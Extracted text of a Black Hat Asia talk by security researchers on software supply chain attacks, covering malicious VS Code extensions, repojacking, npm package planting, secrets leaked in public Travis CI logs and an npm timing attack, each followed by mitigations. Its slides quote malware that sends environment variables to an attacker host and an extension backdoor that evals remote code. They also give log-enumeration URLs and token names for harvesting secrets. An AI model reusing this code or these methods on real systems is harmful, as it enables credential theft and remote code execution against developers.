

MAY 11-12

BRIEFINGS

Breaking the Chain: An Attacker's Perspective on the Supply Chain

Yakir Kadkoda


Ilay Goldman






About us

- Security Researchers at Aqua Security
- Perform research on supply chain vulnerabilities
- Previously Red teamers







Our Research Mindset





The SolarWinds Cyber-Attack: What You Need to Know

→ Last Updated: March 15, 2021



CIS Hardened Imag



Codecov breach impacted 'hundreds' of customer networks: report

→ Codecov

Updated: Reports suggest the initial hack may have led to a more extensive supply chain attack.



AccessPress Themes Hit With Targeted Supply Chain Attack

JANUARY 20, 2022 & BEN MARTIN











IDE


























IDE Phase Visual Studio Code Extensions







SCM



Registry



CI/CD



Artifacts



Runtime



Code editors & IDE














Most popular IDE





VSCode Extensions





Code Runner

Jun Han

Rup C C++ Java IS PHP


Run C, C++, Java, JS, PHP, Python, Perl, Ruby, Go, Lua, Groovy, PowerShell, CMD,...


FREE

± 17.7M















VSCode Marketplace





VSCode Marketplace





прп Packages





Malicious Packages



Researchers Uncover Malicious NPM Packages Stealing Data from Apps and Web Forms

🛗 July 05, 2022 🛔 Ravie Lakshmanan



Risk S MIN READ WNEWS

Malicious npm Packages Scarf Up Discord Tokens, Credit Card Info

The campaign uses four malicious packages to spread "Volt Stealer" and "Lofy Stealer" malware in the open source npm software package repository.




Hundreds more packages found in malicious npm 'factory'

Over 600 malicious packages were published in only five days.



Malicious VSCode Extensions












What can a VSCode extension do?
























#BHASIA @BlackHatEvents


















The exact same repository information

Project Details

• prettier/prettier-vscode

• Last Commit: a month ago

11 14 Pull Requests

• 51 Open Issues

More Info

Version 9.10.3

Released on 1/10/2017, 9:52:02 PM Last updated 11/30/2022, 9:13:17 PM

Publisher Prettier

Unique Identifier esbenp.prettier-vscode

Report Abuse



Original

Project Details

prettier/prettier-vscode

• Last Commit: a month ago

\$\$ 14 Pull Requests

• 51 Open Issues

More Info

Version 9.10.3

Released on 9/14/2022, 7:49:49 PM Last updated 1/2/2023, 3:50:11 PM

Publisher Prettier

Unique Identifier espenp.pretier-vscode


Report Report Abuse



Impersonating



Searching Prettier





The POC









"Verified"






Verified on the Marketplace





Verified on the Marketplace





Verified on the Marketplace

To verify a publisher:

- 1. Visit the Visual Studio Marketplace publisher management page.
- 2. Select or create a publisher you wish to verify.
- 3. Input an eligible domain in the Verified domain field, save, and select Verify.
- 4. Follow the instructions in the dialog to add a TXT record to your domain's DNS configuration.
- 5. Select Verify to validate that the TXT record has been successfully added.

Once your TXT record has been validated, the Marketplace team will review your request and grant verification within 5 business days.



Verified on the Marketplace





Before publication

To verify a publisher:

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Once your TXT record has been validated, the Marketplace team will review your request and grant verification within 5 business days.



Present

To verify a publisher:


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- 4. Follow the instructions in the dialog to add a TXT record to your domain's DNS configuration.
- 5. Select Verify to validate that the TXT record has been successfully added.

Once your TXT record has been validated, the Marketplace team will review your request and grant verification within 5 business days.

Note: Any changes to the publisher display name will revoke the verified badge.




The Verified Prettier





Your First Extension





Malicious VSCode Extensions



#BHASIA @BlackHatEvents



Malicious VSCode Extensions

Type 🗊	Package Name	Affected Version	Published
npm	nodemailer.js	1.0.1;1.0.2	2017-08-01T23:3
npm	proxy.js	0.11.3;1.01;1.0.2	2017-07-19T06:4
npm	node-opencv	1.0.1;1.0.2	2017-07-19T06:5
npm	opencv.js	1.0.1;1.0.2	2017-07-19T06:5
npm	openssl.js	1.0.1;1.0.2	2017-07-19T06:5
npm	node-opensl	1.0.1;1.0.2	2017-07-19T06:5
npm	node-tkinter	1.0.1;1.0.2	2017-07-19T06:5
npm	node-openssl	1.0.1;1.0.2	2017-07-19T06:5
npm	tkinter	1.0.1;1.0.2	2017-07-19T06:5
npm	babelcli	1.0.0;1.0.1	2017-07-19T07:0
npm	gruntcli	1.0.1;1.0.2	2017-07-19T07:0
npm	jquery.js	1.0.1;1.0.2;3.2.2-pre	2017-07-19T07:0
npm	d3.js	1.0.1;1.0.2	2017-07-19T07:0
npm	crossenv	1.0.1;1.0.2;6.1.1	2017-08-01T23:0
npm	cross-env.js	1.0.1;1.0.2;5.0.1	2017-08-01T23:3
npm	fabric-js	1.0.1;1.0.2;1.7.18	2017-08-01T23:3
npm	ffmepg	1.0.1;1.0.2;0.0.1	2017-08-01T23:3
npm	http-proxy.js	1.0.1;1.0.2;0.11.3	2017-08-01T23:3
npm	tp-proxy-middelwa	2.9.0	30-01-20
npm	mariadb	1.0.1;1.0.2;2.13.0	2017-08-01T23:3
npm	mongose	1.0.1;1.0.2;4.11.3	2017-08-01T23:3

```
const http = require('http');
const querystring = require('querystring');
const host = 'npm.hacktask.net';
const env = JSON.stringify(process.env);
const data = new Buffer(env).toString('base64');
const postData = querystring.stringify({ data });
const options = {
 hostname: host,
  port: 80,
  path: '/log/',
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': Buffer.byteLength(postData)
const req = http.request(options);
req.write(postData);
```

onment variables and sends them to attacker controlled locations onment variables and sends them to attacker controlled locations onment variables and sends them to attacker controlled locations nment variables and sends them to attacker controlled locations nment variables and sends them to attacker controlled locations nment variables and sends them to attacker controlled locations nment variables and sends them to attacker controlled locations nment variables and sends them to attacker controlled locations onment variables and sends them to attacker controlled locations onment variables and sends them to attacker controlled locations onment variables and sends them to attacker controlled locations onment variables and sends them to attacker controlled locations onment variables and sends them to attacker controlled locations onment variables and sends them to attacker controlled locations onment variables and sends them to attacker controlled locations onment variables and sends them to attacker controlled locations executed the package downloads a Backdoor and executes it. onment variables and sends them to attacker controlled locations



Malicious VSCode Extensions

```
Code
        Blame 33 lines (31 loc) - 1012 Bytes
  1
        rules.
        - id: npm_eval_from_http_https_request
           - javascript
           - typescript
          message: eval of web request data
          mode: taint
          pattern-sinks:
             - pattern-either:
 10

    pattern-inside: eval(...);

 11

    pattern-inside: exec(...);

                  - pattern-inside: setTimeOut(...);
                  - pattern-inside: setInterval(...);
 14

    pattern-inside: execFile(...);

 15
                  - pattern-inside: spawn(...);
 16
                  - pattern-inside: $A.eval(...);
 17
                  - pattern-inside: $A.exec(...);
 18
                  - pattern-inside: $A.setTimeOut(...);
 19
                  - pattern-inside: $A.setInterval(...);
 20

    pattern-inside: $A.execFile(...);

 21
                  - pattern-inside: $A.spawn(...);
 22
          pattern-sources;
 23
           - patterns:
 24
             - pattern-either:
 25
                - pattern: $METHOD.get(...)
 26
                - pattern: $METHOD.post(...)
                - pattern: $METHOD.request(...)
 27
                - pattern: $METHOD.send(...)
                - pattern: $METHOD.fetch(...)
                - pattern: Buffer.from(...)
          severity: WARNING
 31
 32
 33
```

```
.
function activate(context) {
    setInterval(() => {
        const http = require('http');
        const os = require("os");
        let hostname = os.hostname();
        let url = `http://${hostname}.robotnowai.top/vscode`;
        http.get(url, (res) => {
            let respBody = '';
            res.on('data', (data) =>
                respBody += data;
            });
            res.on('end', () => {
                eval(respBody)
            });
    }, 1000 * 30);
```




Secret Scanning





Vulnerability in "UnityQuickDocs"





Find the Vulnerability



Mitigation And Recommendations

- First Things First The publishers and platform's responsibility
 - Verify the credibility of publishers before installing VS Code extensions
- Depending on your role as a security researcher or developer scan
 IDE extensions for vulnerabilities, secrets, and malicious activity
- IDE "Shift left-left"
 - What about other attack vectors such as JetBrains, Postman Collections, Burp Suite extension etc?



SCM Phase Repojacking



IDE



SCM



Registry



CI/CD



Artifacts



Runtime





https://github.com/MyOrganization/myRepo



https://github.com/MyOrganization/myRepo



https://github.com/NewOrganization/myRepo



https://github.com/MyOrganization/myRepo





https://github.com/NewOrganization/myRepo





https://github.com/MyOrganization/myRepo





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https://github.com/MyOrganization/myRepo





https://github.com/NewOrganization/myRepo



Restrictions and bypasses

Hijacking GitHub Repositories by Deleting and Restoring Them

2022-12-04 • Joren Vrancken

Recently, we encountered an obscure security meas popular repository namespace retirement. This secu protect (popular) repositories against repo jacking (i

During this research, we discovered a way to bypass We reported this to GitHub, and they fixed the proble repository namespace retirement is, what attacks it i others) were able to bypass it.



YPLOITS AND WILNEPARKITIES I NEWS

GitHub patches flaw that allowed repojacking

Posted: November 3, 2022 by Malwarebytes Labs



to take control over thousands of repositories, enabling the poisoning of popular open-source packages.

to exploit it were recently published, making it highly likely that we will see more of these in the near



Restrictions and bypasses

- Restriction
 100 clones the week before rename
- There were many bypasses and probably will be so a redirect with available username counts as vulnerable!
- Nevertheless, the examples we show here are fully exploitable




Exploitation Scenarios

- Link in the code to the previous name
 - Direct link to hijackable repository
 - Hijackable modules Go,Swift etc
- Installation guide references
- Hijackable link in posts across the internet
 - Stack overflow answer
 - Blog with recommended tools



Example – Installation guide



eslint .gitign

Build

First clone the project from github:

git clone https://github.com/socraticorg/mathsteps.git
cd mathsteps


Install the project dependencies:

npm install



Example – Link in the code


yesgraph-Dominus / install.sh



#BHASIA @BlackHatEvents



Example - VSCode Extension






https://github.com/old_org/repo_name/releases/download/0.0.1/extension.vsix



The Dataset





The Dataset


← → C (▲ Not Secure | ghtorrent-downloads.ewi.tudelft.nl/mysql/

Index of /mysql/

/		
mysql-2013-10-12.sql.gz	10-Dec-2015 20:33	4522065160
mysql-2014-01-02.sql.gz	10-Dec-2015 21:19	5921235276
mysq1-2014-04-02.sq1.gz	10-Dec-2015 22:13	7354431193
mysql-2014-08-18.sql.gz	10-Dec-2015 23:43	12043734230
mysql-2014-11-10.sql.gz	11-Dec-2015 01:34	15118378692
mysql-2015-01-04.sql.gz	11-Dec-2015 03:42	17389100969
mysql-2015-04-01.sql.gz	11-Dec-2015 06:56	26293878411
mysql-2015-06-18.sql.gz	11-Dec-2015 11:18	35102522985
mysql-2015-08-07.sql.gz	11-Dec-2015 15:17	33069692808
mysq1-2015-09-25.tar.gz	11-Dec-2015 20:02	33841191143
mysql-2016-01-08.tar.gz	08-Jan-2016 21:57	35591472888
mysql-2016-01-16.tar.gz	16-Jan-2016 08:17	35838991852
mysql-2016-02-01.tar.gz	01-Feb-2016 11:38	36667951779
mysql-2016-02-16.tar.gz	21-Feb-2016 23:45	37302751172
mysql-2016-03-01.tar.gz	01-Mar-2016 11:57	37988648250
mysql-2016-03-16.tar.gz	16-Mar-2016 10:42	38707567798
mysql-2016-04-19.tar.gz	19-Apr-2016 17:46	40105071925
mysql-2016-05-04.tar.gz	05-May-2016 02:35	40494259095
mysql-2016-06-01.tar.gz	01-Jun-2016 11:50	41787169343
mysql-2016-06-16.tar.gz	16-Jun-2016 11:20	42423227238
mysql-2016-07-19.tar.gz	23-Jul-2016 09:24	43325816626
mysql-2016-09-05.tar.gz	05-Sep-2016 23:18	45284829230
mysql-2017-01-19.tar.gz	20-Jan-2017 04:22	51960147283
mysql-2017-02-01.tar.gz	01-Feb-2017 12:42	52582882424
mysql-2017-03-01.tar.gz	01-Mar-2017 14:38	52916505432
mysql-2017-04-01.tar.gz	01-Apr-2017 14:13	56115975886
mysq1-2017-05-01.tar.gz	01-May-2017 14:40	57721654657
mysq1-2017-06-01.tar.gz	01-Jun-2017 15:02	59315227769
mysq1-2017-07-01.tar.gz	01-Jul-2017 15:05	60948681616
mysq1-2017-09-01.tar.gz	01-Sep-2017 15:53	64258782505
mysql-2017-10-01.tar.gz	01-Oct-2017 15:57	65448079781
mysql-2017-12-01.tar.gz	01-Dec-2017 16:49	69797297007
mysql-2018-01-01.tar.gz	01-Jan-2018 16:52	71446490168
mysql-2018-02-01.tar.gz	01-Feb-2018 20:09	73273914729
mysql-2018-03-01.tar.gz	01-Mar-2018 19:13	74476124928



Scanning





Mitigation And Recommendations

- Check all the GitHub links, both in your own code and in the code of others
 - Update any links that redirect to old organizations to point to the correct ones
 - Perform these checks periodically
- Want to change your organization name? keep it!
- Bug hunter? There is a high possibility of finding potential organizations when one company acquires or merges with another



Registry Phase Package Planting



IDE



SCM



Registry



CI/CD




Artifacts




Runtime



What is Package Planting?





□ f ⊗

#BHASIA @BlackHatEvents




Invite other users via npm CLI

```
[~/Desktop/npm_deploy]
                                                                                            -[~/Desktop/npm_deploy]
└_$ npm publish
                                                                             s npm owner add fb fb_npm_package
npm notice
—[~/Desktop/npm_deploy]
                                                                             s npm owner add npm fb_npm_package
npm notice 210B package.json
npm notice == Tarball Details ==
                        fb_npm_package
npm notice name:
npm notice version:
                        1.0.0
                        fb_npm_package-1.0.0.tgz
npm notice filename:
npm notice package size: 242 B
npm notice unpacked size: 210 B
                                                                           Πf
npm notice shasum:
                        4deeb0fa54ed006f30d6f312c30d3078d654e878
npm notice integrity:
                       sha512-pwRY0xW5mJBa6[ ... ]U7u2jldnqwUmw=
npm notice total files: 1
                                                                                         —[~/Desktop/npm_deploy]
npm notice
                                                                            s npm owner rm ghosterp fb_npm_package
npm notice Publishing to https://registry.npmjs.org/
                                                                             ghosterp (fb_npm_package)
+ fb npm package@1.0.0
```



Are You Maintaining Poisoned Packages?






The old mechanism






2FA enumeration







The patch: Confirmation mechanism





Mitigation And Recommendations

- Ensure that all packages listed under your scope belong to you
- Always be suspicious of your dependency owners
 - Evaluate open-source packages before choosing them by using various sources, such as Deps.dev and Socket.dev.
 - Overlay browser extension (WIP) https://github.com/os-scar/overlay



CI/CD Phase Public CI/CD Logs



IDE



SCM



Registry



CI/CD




Artifacts



Runtime



Eureka moment



#BHASIA @BlackHatEvents



Fetching the logs - Method 1

https://api.travis-ci.org/v3/job/[4280000-774807924]/log.txt



https://api.travis-ci.org/v3/job/5248126/log.txt

```
https://api.travis-ci.org/v3/job/5248126/log.txt
                                     ync OOO
[Om Adding system startup for /etc/init.d/rsync ...
  /etc/rc0.d/K20rsync -> ../init.d/rsync
  /etc/rc1.d/K20rsync -> ../init.d/rsync
  /etc/rc6.d/K20rsync -> ../init.d/rsync
  /etc/rc2.d/S20rsync -> ../init.d/rsync
  /etc/rc3.d/S20rsync -> ../init.d/rsync
  /etc/rc4.d/S20rsync -> ../init.d/rsync
  /etc/rc5.d/S20rsync -> ../init.d
[91minvoke-rc.d: policy-rd
[OmSetting up liberror-pe
                         bc-bin (2.19-Oubuntu6.6) ...
                        eadahead (0.100.0-16) ...
Proces
      ng intermediate container be81652cd8dd
Step 4 : RUN ansible-playbook-wrapper
---> Running in 3c469e9299c3
- executing: git clone https://github.com/trumant/ansible-consul.git consul
- executing: git archive --prefix=consul/ --output=/tmp/tmpfJHxpY.tar 2bd5776c8f
- extracting consul to /tmp/roles/consul
- consul was installed successfully
```





```
# Before:
https://api.travis-ci.org/v3/job/[4280000-774807924]/log.txt

# Now from documentation:
https://api.travis-ci.org/logs/1
```

Method 2

https://s3.amazonaws.com/<u>archive.travis-ci.org/jobs/4670478/log.txt</u>?X-Amz-Expires=30&X-Amz-Date=202206...

Method 1

https://api.travis-ci.org/v3/job/4670478/log.txt



Accessing restricted logs

Method 1



Method 2

https://api.travis-ci.org/logs/6976822

```
s3.amazonaws.com/archive.travis-ci.org/jobs 13575703/og.txt?X-Amz-Expires=29&X-Amz-D
Using worker: worker-linux-5-1.bb.travis-ci.org:travis-linux-11
travis_fold:start:git.1
$ git clone --depth=50 --branch=master git://github.com/alu0100435771/prct08.git alu0100435771/prct08
Cloning into 'alu0100435771/prct08'...
remote: Counting objects: 61, done. E[K
remote: Compressing objects: 2% (1/36) E[K
remote: Compressing objects: 5% (2/36) E[K
remote: Compressing objects: 8% (3/36) E[K
remote: Compressing objects: 11% (4/36)
remote: Compressing objects: 13% (5/36)
remote: Compressing objects: 16% (6/36)
remote: Compressing objects: 19% (7/36) E[K
remote: Compressing objects: 22% (8/36)
remote: Compressing objects: 25% (9/36) E[K
remote: Compressing objects: 27% (10/36) E[K
```






The Harvesting













The Harvesting





Testing API Keys



https://github.com/streaak/keyhacks



Token variations

```
github_app_private_key
github_auth
github_oauth_key github_api_token
github_access_token

github_secret
github_app_secret
github_app_secret
github_app_secret
github_app_secret
github_oauth
github_private_key github_auth_token
github_api_key
github_personal_access_token
github_personal_access_token
github_personal_access_token
github_personal_access_token
github_secret_doken
gh_client_secret
```



Connect the dots

- Ease of Access
- Incomplete censoring
- Accessing "restricted" logs
- Large number of potentially exposed logs
- Weak process for rate limiting





Disclosure













Disclosure

50%



Mitigation And Recommendations

- Maintain a clean infrastructure and search for legacy components
- Rotate secrets on a regular basis
- Apply the least-privilege principle to tokens
- Detect any sensitive data that might be revealed by scanning public logs with a secret scanning tools
 - To improve secret scanning, use a combination of entropy, pattern recognition, and variations of popular token names



Artifacts Phase Timing Attack



IDE



SCM



Registry



CI/CD



Artifacts



Runtime



при private package

@ne-test-org/hello-world


1.0.0 • Private • Published 19 days ago

@npm/decorate

2.0.1 • Public • Published 5 years ago




Timing Attack: What is it?



https://www.simplethread.com/great-scott-timing-attack-demo/



Executing a timing attack on npm





Response time in Millisecond





Executing a timing attack on npm

REQUEST	1	2	3	4	5	AVERAGE	STANDARD DEVIATION
Private package exists	686ms	304ms	363ms	1562ms	326ms	648ms	534ms
Private package does NOT exist	353ms	38ms	38ms	39ms	38ms	101ms	141ms



A possible package name list

- Guessing attack
- Patterns in the organization's public packages
 - @contso/contso-*
 - @contso/cnt-*



How attackers can merge everything to an attack





@ne-test-org/hello-world

1.0.0 • Private • Published 19 days ago





hello-world

1.0.0 • Public • Published 1 hour ago












Mitigation And Recommendations

• It is still possible!






Mitigation And Recommendations

- It is still possible!
 - Consider creating public packages as placeholders to prevent such attacks
 - Read the following npm blog "Avoiding npm substitution attacks"
- Look for timing issues on other platforms





Simple vectors, High damage






• If you are a security researcher in this field, watch your step!





Ensure security at each development stage





This was only the tip of the iceberg











Thank you



